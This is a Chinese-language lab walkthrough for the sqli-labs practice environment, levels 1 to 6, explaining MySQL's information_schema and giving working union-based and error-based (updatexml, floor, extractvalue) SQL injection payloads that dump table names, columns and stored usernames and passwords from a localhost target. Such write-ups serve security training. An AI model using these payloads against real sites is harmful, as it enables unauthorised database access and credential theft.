sqli_labs通关秘籍

发布于:2022-12-23 ⋅ 阅读:(521) ⋅ 点赞:(0)

在练习靶场前我们需要了解以下mysql数据库结构,了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。

第一关讲解比较细,方便大家理解,后面就大同小异le

名字

作用

information_schema

存放数据库元数据:库名、表名等

information_schema.tables

该数据库下的tables表

table_name

所有数据库存在的表名

table_schema

所有表名对应数据库的名字

column_name

列的名称

通关步骤:库→表→列→数据

第1关

1. 爆数据库名

1.1 漏洞挖掘

类型

注入方式

  1. 判断是否有回显

有回显,用联合注入

  1. 判断是否有报错

有报错,用报错注入

  1. 判断是否有布尔类型

有布尔,用布尔盲注

  1. 判断是否有延时

有延时,用延时注入

注意:应该考虑按类型顺序来,因为对应的注入方式难度也是从易到难

1.2 输入不同id,观察页面是否有变化

有变化则说明有回显,存在漏洞

1.3 判断sql语句是否是拼接,且是字符型还是数字型。

根据结果指定是字符型,单引号闭合且存在sql注入漏洞

1.4 用order by查询表格列数

首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

所以得出列数是3

1.5 采用联合查询,爆出回显

注意:1. 将id置为-1,目的是让前面语句为假,只执行后面的语句

2. 通过页面可以看出回显位为2, 3

1.6 获取当前数据库

2. 爆表名

http://localhost/sqli_labs/Less-1/?id=-1'UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

​

information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

3. 爆列名

我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容

http://localhost/sqli_labs/Less-1/?id=-1'UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名

4. 爆数据(账密)

http://localhost/sqli_labs/Less-1/?id=-1'UNION SELECT 1,2,group_concat(username,password) from users --+

第2关

页面显示:有回显

类型:数字型,不用考虑闭合

注入方式:联合注入

http://localhost/sqli_labs/Less-2/?id=-1 UNION SELECT 1,2,group_concat(username,password) from users --+

后面的关卡与第一关都大同小异,步骤几乎一样,你只需要注意是字符型还是数字型、闭合方式、以及页面显示

  • 3没有出现在报错信息中,说明是数字型注入
  • 数字型注入,id=3后面不需要加'

第3关

页面显示:有回显

类型:字符型,闭合方式 ')

注入方式:联合注入

http://localhost/sqli_labs/Less-3/?id=-1') UNION SELECT 1,2,group_concat(username,password) from users --+

第4关

页面显示:有回显

类型:字符型,闭合方式 ")

注入方式:联合注入

http://localhost/sqli_labs/Less-4/?id=-1") UNION SELECT 1,2,group_concat(username,password) from users --+

第5关

页面显示:无回显,但是有报错

类型:字符型,闭合方式 '

注入方式:报错注入

报错注入的概念:

(1). 通过floor报错 and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错: and updatexml(1, payload,1)(比较简单,首先考虑

同样该语句对输出的字符长度也做了限制,其最长输出32位,并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位

5.1 爆数据库名

http://localhost/sqli_labs/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

5.2 爆表名

http://localhost/sqli_labs/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+

5.3 爆用户名

http://localhost/sqli_labs/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+

5.4 爆密码

http://localhost/sqli_labs/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+

第6关

页面显示:无回显,但是有报错

类型:字符型,闭合方式 "

注入方式:报错注入

前面步骤省略,直接爆密码,只需要将闭合方式一改就行


网站公告

今日签到

点亮在社区的每一天
去签到